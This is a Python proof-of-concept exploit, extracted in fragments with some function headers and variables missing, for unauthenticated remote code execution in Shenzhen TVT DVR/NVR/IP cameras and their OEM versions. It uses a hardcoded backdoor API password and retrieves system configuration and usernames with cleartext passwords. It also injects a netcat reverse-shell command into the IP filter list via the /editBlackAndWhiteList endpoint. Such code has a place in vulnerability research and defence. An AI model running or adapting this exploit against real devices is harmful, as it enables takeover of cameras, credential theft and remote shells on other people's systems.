TVT PoC
TVT PoC
7
# [SOF]
#
# Subject: Shenzhen TVT Digital Technology Co. Ltd & OEM {DVR/NVR/IPC} API RCE
#
# Attack vector: Remote
# Authentication: Anonymous (no credentials needed)
# Researcher: bashis <mcw noemail eu> (December 2018)
#
# Vulnerable: To many OEM vendors,products and versions to specify.
# Non Vulnerable: Firmware released from mid February 2018 from TVT and their OEM's
#
# Source Vendor: Shenzhen TVT Digital Technology Co. Ltd (http://en.tvt.net.cn/)
# OEM Vendors (+80): https://ipvm.com/forums/video-surveillance/topics/a-list-of-
tvt-s-79-dvr-oems (Not complete list)
#
#
import socket
import select
import sys
import urllib, urllib2, httplib
import ssl
import argparse
import base64
import os
import sys
import xmltodict # pip install xmltodict
import json
class HTTPconnect:
# Connect-timeout in seconds
timeout = 10
socket.setdefaulttimeout(timeout)
if self.verbose:
print "[Verbose] Sending:", url
if self.proto == 'https':
if hasattr(ssl, '_create_unverified_context'):
print "[i] Creating SSL Unverified Context"
ssl._create_default_https_context =
ssl._create_unverified_context
if self.credentials:
Basic_Auth = self.credentials.split(':')
if self.verbose:
print "[Verbose]
User:",Basic_Auth[0],"Password:",Basic_Auth[1]
try:
pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
pwd_mgr.add_password(None, url, Basic_Auth[0],
Basic_Auth[1])
auth_handler = urllib2.HTTPBasicAuthHandler(pwd_mgr)
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
except Exception as e:
print "[!] Basic Auth Error:",e
sys.exit(1)
if self.Raw:
return rsp
else:
html = rsp.read()
return html
#
# Validate correctness of HOST, IP and PORT
#
class Validate:
def __init__(self,verbose):
self.verbose = verbose
# Check if IP is valid
def CheckIP(self,IP):
self.IP = IP
ip = self.IP.split('.')
if len(ip) != 4:
return False
for tmp in ip:
if not tmp.isdigit():
return False
i = int(tmp)
if i < 0 or i > 255:
return False
return True
try:
# Check valid IP
socket.inet_aton(self.HOST) # Will generate exeption if we try
with DNS or invalid IP
# Now we check if it is correct typed IP
if self.CheckIP(self.HOST):
return self.HOST
else:
return False
except socket.error as e:
# Else check valid DNS name, and use the IP address
try:
self.HOST = socket.gethostbyname(self.HOST)
return self.HOST
except socket.error as e:
return False
class TVT:
self.BUFFER_SIZE = 1024
if self.cmd == 'DumpSystemConfig':
if self.rport == '4567':
TVT_bin = base64.b64decode(response[12]) # Base64
'SystemConfig'
XML_2_JSON = self.GetXML_2_JSON(TVT_bin)
print "[i] Dumping Config"
for what in XML_2_JSON.keys():
print json.dumps(XML_2_JSON[what],indent=4)
else:
if (self.GetDeviceInfo_HTTP(lhost, lport,True)): # Light
version of 'SystemConfig'
return True
else:
return False
if (self.queryQRInfo_HTTP(self.lhost, self.lport)):
return True
else:
return False
if self.rport == '4567':
self.sock.close()
print "[i] Disconnected"
#
# Stuff for HTTP/HTTPS Access
#
self.lhost = lhost
self.lport = lport
self.remote_host = self.rhost + ':' + self.rport
headers = {
'Connection': 'close',
'Content-Type' : 'application/x-www-form-urlencoded',
'Host' : rhost,
'Authorization' : 'Basic ' +
base64.b64encode(self.credentials),
'Accept' : '*/*',
'Accept-Language' : 'en-us',
'Cache-Control' : 'max-age=0',
'User-Agent':'ApiTool'
}
headers = {
'Connection': 'close',
'Content-Type' : 'application/x-www-form-urlencoded',
'Host' : rhost,
'Authorization' : 'Basic ' +
base64.b64encode(self.credentials),
'Accept' : '*/*',
'Accept-Language' : 'en-us',
'Cache-Control' : 'max-age=0',
'User-Agent':'ApiTool'
}
URI = '/doLogin'
print "[>] Query for username(s)/password(s)"
response =
HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.no
exploit).Send(URI,headers,MSG,None)
if not response:
return False
self.XML_2_JSON = xmltodict.parse(response)
if self.XML_2_JSON['response']['status'] == 'success':
print "[<] 200 OK"
# print json.dumps(self.XML_2_JSON['response'],indent=4)
for who in self.XML_2_JSON['response']['content']:
if who == 'userId':
print "[<] User ID:
{}".format(self.XML_2_JSON['response']['content']['userId'])
elif who == 'adminName':
print "[<] Admin Name:
{}".format(self.XML_2_JSON['response']['content']['adminName'])
elif who == 'sessionId':
print "[<] Session ID:
{}".format(self.XML_2_JSON['response']['content']['sessionId'])
elif who == 'resetPassword':
print "[<] Reset Password:
{}".format(base64.b64decode(self.XML_2_JSON['response']['content']
['resetPassword']))
return True
else:
if self.XML_2_JSON['response']['errorCode'] == '536870948':
print "[<] Wrong Password!"
elif self.XML_2_JSON['response']['errorCode'] == '536870947':
print "[<] Wrong Username!"
else:
print json.dumps(self.XML_2_JSON['response'],indent=4)
return False
headers = {
'Connection': 'close',
'Content-Type' : 'application/x-www-form-urlencoded',
'Host' : rhost,
'Authorization' : 'Basic ' +
base64.b64encode(self.credentials),
'Accept' : '*/*',
'Accept-Language' : 'en-us',
'Cache-Control' : 'max-age=0',
'User-Agent':'ApiTool'
}
URI = '/queryUserList'
print "[>] Query for username(s)/password(s)"
response =
HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.no
exploit).Send(URI,headers,MSG,None)
if not response:
return False
self.XML_2_JSON = xmltodict.parse(response)
if self.XML_2_JSON['response']['status'] == 'success':
print "[<] 200 OK"
# print json.dumps(self.XML_2_JSON['response'],indent=4)
# One User only
for who in self.XML_2_JSON['response']['content']['item']:
if who == 'userName':
print "[<] Username: {}, Password:
{}".format(self.XML_2_JSON['response']['content']['item']['userName'],
self.XML_2_JSON['response']['content']['item']['password'])
return True
# Several Users
for who in range(0, len(self.XML_2_JSON['response']['content']
['item'])):
if (self.XML_2_JSON['response']['content']['item'][who]
['enabled'] == 'true'):
print "[<] Username: {}, Password:
{}".format(self.XML_2_JSON['response']['content']['item'][who]['userName'],
self.XML_2_JSON['response']['content']['item'][who]['password'])
return True
else:
if self.XML_2_JSON['response']['errorCode'] == '536870948':
print "[<] Wrong Password!"
elif self.XML_2_JSON['response']['errorCode'] == '536870947':
print "[<] Wrong Username!"
else:
print json.dumps(self.XML_2_JSON['response'],indent=4)
return False
headers = {
'Connection': 'close',
'Content-Type' : 'application/x-www-form-urlencoded',
'Host' : rhost,
'Authorization' : 'Basic ' +
base64.b64encode(self.credentials),
'Accept' : '*/*',
'Accept-Language' : 'en-us',
'Cache-Control' : 'max-age=0',
'User-Agent':'ApiTool'
}
URI = '/queryBasicCfg'
print "[>] Get info about remote target"
response =
HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.no
exploit).Send(URI,headers,MSG,None)
if not response:
return False
self.XML_2_JSON = xmltodict.parse(response)
if self.XML_2_JSON['response']['status'] == 'success':
print "[<] 200 OK"
if self.dump:
print json.dumps(self.XML_2_JSON,indent=4)
return True
else:
if self.XML_2_JSON['response']['errorCode'] == '536870948':
print "[<] Wrong Password!"
elif self.XML_2_JSON['response']['errorCode'] == '536870947':
print "[<] Wrong Username!"
else:
print json.dumps(self.XML_2_JSON['response'],indent=4)
return False
self.lhost = lhost
self.lport = lport
self.remote_host = self.rhost + ':' + self.rport
headers = {
'Connection': 'close',
'Content-Type' : 'text/xml',
'Host' : rhost,
'Authorization' : 'Basic ' +
base64.b64encode(self.credentials),
'Accept' : '*/*',
'Accept-Language' : 'en-us',
'Cache-Control' : 'max-age=0',
'User-Agent':'ApiTool'
}
<filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode>
<addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></
addressType>
</types>
<content>
<switch>true</switch>
<filterType
type="filterTypeMode">refuse</filterType>
<filterList
type="list"><itemType><addressType type="addressType"/></itemType>
<item><switch>true</switch><addressType>ip</addressType>
<ip>$(nc${IFS}LHOST$
{IFS}LPORT${IFS}-e${IFS}$SHELL&)</ip>
</item>
</filterList>
</content>
</request>
"""
DEL_RCE = """<?xml version="1.0" encoding="utf-8"?>
<request version="1.0" systemType="NVMS-9000"
clientType="WEB">
<types>
<filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode>
<addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></
addressType>
</types>
<content><switch>false</switch><filterType
type="filterTypeMode">allow</filterType>
<filterList type="list">
<itemType>
<addressType
type="addressType"/>
</itemType>
</filterList>
</content>
</request>
"""
ADD_RCE = ADD_RCE.replace("LHOST",self.lhost).replace("\
t",'').replace("\n",'')
ADD_RCE = ADD_RCE.replace("LPORT",self.lport)
DEL_RCE = DEL_RCE.replace("\t",'').replace("\n",'')
URI = '/editBlackAndWhiteList'
#
# Enable RCE and execute
#
print "[>] Adding and executing RCE"
response =
HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.no
exploit).Send(URI,headers,ADD_RCE,None)
if not response:
return False
XML_2_JSON = xmltodict.parse(response)
if XML_2_JSON['response']['status'] == 'success':
print "[<] 200 OK"
elif XML_2_JSON['response']['status'] == 'fail':
if self.XML_2_JSON['response']['errorCode'] == '536870948':
print "[<] Wrong Password!"
elif self.XML_2_JSON['response']['errorCode'] == '536870947':
print "[<] Wrong Username!"
else:
print json.dumps(self.XML_2_JSON['response'],indent=4)
return False
#
# Delete RCE
#
print "[>] Removing RCE"
response =
HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.no
exploit).Send(URI,headers,DEL_RCE,None)
if not response:
return False
XML_2_JSON = xmltodict.parse(response)
if XML_2_JSON['response']['status'] == 'success':
print "[<] 200 OK"
elif XML_2_JSON['response']['status'] == 'fail':
if self.XML_2_JSON['response']['errorCode'] == '536870948':
print "[<] Wrong Password!"
elif self.XML_2_JSON['response']['errorCode'] == '536870947':
print "[<] Wrong Username!"
else:
print json.dumps(self.XML_2_JSON['response'],indent=4)
return False
return True
#
# Stuff when bypassing 'ConfigSyncProc'
#
where = self.TVT.find(DEFAULT_USER)
LOGIN = self.TVT[where:where+64].replace('\x00','')
PASSWORD = self.TVT[where+64:where+128].replace('\x00','')
return LOGIN, PASSWORD
self.TVT = self.TVT.replace('\x00','')
where = self.TVT.find('<?xml version="1.0" encoding="UTF-8"?>')
DB = {}
TEST = ''
DB_CNT = 0
TEMP = self.TVT[where:].split('\n')
for where in range(0,len(TEMP)):
if TEMP[where] == '<?xml version="1.0" encoding="UTF-8"?>':
DB[DB_CNT] = {'start':0,'stop':0}
DB[DB_CNT]['start'] = where
DB_CNT += 1
else:
DB[DB_CNT-1]['stop'] = where+1
XML_2_JSON = {}
for what in DB.keys():
OUT = ''
for where in range (DB[what]['start'], DB[what]['stop']):
OUT += TEMP[where]
XML_2_JSON[what] = xmltodict.parse(OUT)
return XML_2_JSON
<filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode>
<addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></
addressType>
</types>
<content>
<switch>true</switch>
<filterType
type="filterTypeMode">refuse</filterType>
<filterList
type="list"><itemType><addressType type="addressType"/></itemType>
<item><switch>true</switch><addressType>ip</addressType>
<ip>$(nc${IFS}LHOST$
{IFS}LPORT${IFS}-e${IFS}$SHELL${IFS}&)</ip>
</item>
</filterList>
</content>
</request>
"""
ADD_RCE += "\x00"
<filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode>
<addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></
addressType>
</types>
<content><switch>false</switch><filterType
type="filterTypeMode">allow</filterType>
<filterList type="list">
<itemType>
<addressType
type="addressType"/>
</itemType>
</filterList>
</content>
</request>
"""
DEL_RCE += "\x00"
ADD_RCE = ADD_RCE.replace("LHOST",self.lhost).replace("\
t",'').replace("\n",'')
ADD_RCE = ADD_RCE.replace("LPORT",self.lport)
DEL_RCE = DEL_RCE.replace("\t",'').replace("\n",'')
#
# Enable RCE and execute
#
LEN = len(ADD_RCE)-32
LEN = struct.pack("<I",LEN)
ADD_RCE = string.replace(ADD_RCE,'_LEN',LEN)
ADD_MESSAGE =
ADD_MESSAGE.replace("CONTENT_LENGTH",str(len(base64.b64encode(ADD_RCE))))
ADD_MESSAGE += base64.b64encode(ADD_RCE)
#
# Delete RCE
#
LEN = len(DEL_RCE)-32
LEN = struct.pack("<I",LEN)
DEL_RCE = string.replace(DEL_RCE,'_LEN',LEN)
DEL_MESSAGE =
DEL_MESSAGE.replace("CONTENT_LENGTH",str(len(base64.b64encode(DEL_RCE))))
DEL_MESSAGE += base64.b64encode(DEL_RCE)
try:
print "[>] Sending"
self.sock.send(self.message)
response = self.sock.recv(self.BUFFER_SIZE)
except Exception as e:
print "[!] Send failed ({})".format(e)
self.sock.close()
sys.exit(1)
def Connect_4567(self):
timeout = 5
socket.setdefaulttimeout(timeout)
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((self.rhost, TVT_rport))
print "[i] Connected"
except Exception as e:
print "[!] Connection failed ({})".format(e)
sys.exit(1)
try:
print "[>] Verifying access"
self.sock.send(MESSAGE)
response = self.sock.recv(self.BUFFER_SIZE)
except Exception as e:
print "[!] Sending failed ({})".format(e)
self.sock.close()
sys.exit(1)
if response != MESSAGE:
print "[!] NO MATCH\n[!] Response: {}".format(response)
self.sock.close()
sys.exit(0)
else:
print "[<] 200 OK"
return self.sock
self.sock.send(MESSAGE)
buf = ''
response = self.sock.recv(self.BUFFER_SIZE)
if response.split()[1] == '200':
tmp = response.split()[6] # Content-Length:
else:
tmp = False
buf += response
if __name__ == "__main__":
HTTP = "http"
HTTPS = "https"
proto = HTTP
verbose = False
noexploit = False
raw_request = True
# credentials = 'admin:123456' # Default l/p
credentials = 'admin:{12213BD1-69C7-4862-843D-260500D1DA40}' # Hardcoded
HTTP/HTTPS API l/p
headers = {
'Connection': 'close',
'Content-Type' : 'application/x-www-form-urlencoded',
'Accept' : 'gzip, deflate',
'Accept-Language' : 'en-US,en;q=0.8',
'Cache-Control' : 'max-age=0',
'User-Agent':'ApiTool'
}
try:
arg_parser = argparse.ArgumentParser(
prog=sys.argv[0],
description=('[*] '+ INFO +' [*]'))
arg_parser.add_argument('--rhost', required=True, help='Remote Target
Address (IP/FQDN) [Default: '+ rhost +']')
arg_parser.add_argument('--rport', required=False, help='Remote Target
HTTP/HTTPS Port [Default: '+ str(rport) +']')
arg_parser.add_argument('--lhost', required=False, help='Connect Back
Address (IP/FQDN) [Default: '+ lhost +']')
arg_parser.add_argument('--lport', required=False, help='Connect Back
Port [Default: '+ lport + ']')
arg_parser.add_argument('--autoip', required=False, default=False,
action='store_true', help='Detect External Connect Back IP [Default: False]')
if credentials:
arg_parser.add_argument('--auth', required=False, help='Basic
Authentication [Default: '+ credentials + ']')
arg_parser.add_argument('--https', required=False, default=False,
action='store_true', help='Use HTTPS for remote connection [Default: HTTP]')
arg_parser.add_argument('-v','--verbose', required=False,
default=False, action='store_true', help='Verbose mode [Default: False]')
arg_parser.add_argument('--noexploit', required=False, default=False,
action='store_true', help='Simple testmode; With --verbose testing all code without
exploiting [Default: False]')
args = arg_parser.parse_args()
except Exception as e:
print INFO,"\nError: {}\n".format(str(e))
sys.exit(1)
print INFO
request = ''
if args.getrce:
cmd = 'RCE'
elif args.getdump:
cmd = 'DumpSystemConfig'
request = 'requestSystemConfig'
elif args.getinfo:
cmd = 'GetInfo'
request = 'requestSystemConfig'
elif args.getcreds:
cmd = 'GetUsernamePassword'
request = 'requestSystemConfig'
elif args.getQR:
cmd = 'queryQRInfo'
request = 'queryQRInfo'
elif args.getlogin:
cmd = 'doLogin'
request = 'doLogin'
else:
print "[!] Choose something to do...\n[--getrce | --getdump | --getinfo
| --getcreds | --getQR | --getlogin]"
sys.exit(1)
if args.https:
proto = HTTPS
if not args.rport:
rport = '443'
if args.noexploit:
noexploit = args.noexploit
if args.verbose:
verbose = True
if args.rport:
rport = args.rport
if args.rhost:
rhost = args.rhost
if args.lport:
lport = args.lport
if args.lhost:
lhost = args.lhost
elif args.autoip:
# HTTP check of our external IP
try:
headers = {
'Connection': 'close',
'Accept' : 'gzip, deflate',
'Accept-Language' : 'en-US,en;q=0.8',
'Cache-Control' : 'max-age=0',
'User-Agent':'ApiTool'
}
print "[>] Trying to find out my external IP"
lhost =
HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send
("/",headers,None,None)
if verbose:
print "[Verbose] Detected my external IP:",lhost
except Exception as e:
print "[<] ",e
sys.exit(1)
#
# Validation done, start print out stuff to the user
#
if args.https:
print "[i] HTTPS / SSL Mode Selected"
print "[i] Remote target IP:",rhost
print "[i] Remote target PORT:",rport
if cmd == 'RCE':
print "[i] Connect back IP:",lhost
print "[i] Connect back PORT:",lport
#
# HTTP API with hardcoded authentication on TCP/4567 to NVMS9000 (bypass of
ConfigSyncProc)
#
if args.rport == '4567':
print "[!] Be aware that remote HTTP/HTTPS access will not work until
reboot!"
TVT(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).APIConfigC
lient(lhost, lport, cmd, request)
#
# HTTP/HTTPS API with hardcoded password (ConfigSyncProc)
# admin:{12213BD1-69C7-4862-843D-260500D1DA40}
else:
print "[!] Trying w/ credentials: {}".format(credentials)
if
not(TVT(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).APICon
figClient(lhost, lport, cmd, request)):
credentials = 'root:{12213BD1-69C7-4862-843D-260500D1DA40}'
print "[!] Trying w/ credentials: {}".format(credentials)
TVT(rhost,rport,proto,verbose,credentials,raw_request,noexploit,headers).APIConfigC
lient(lhost, lport, cmd, request)
print "[i] All done"
# [EOF]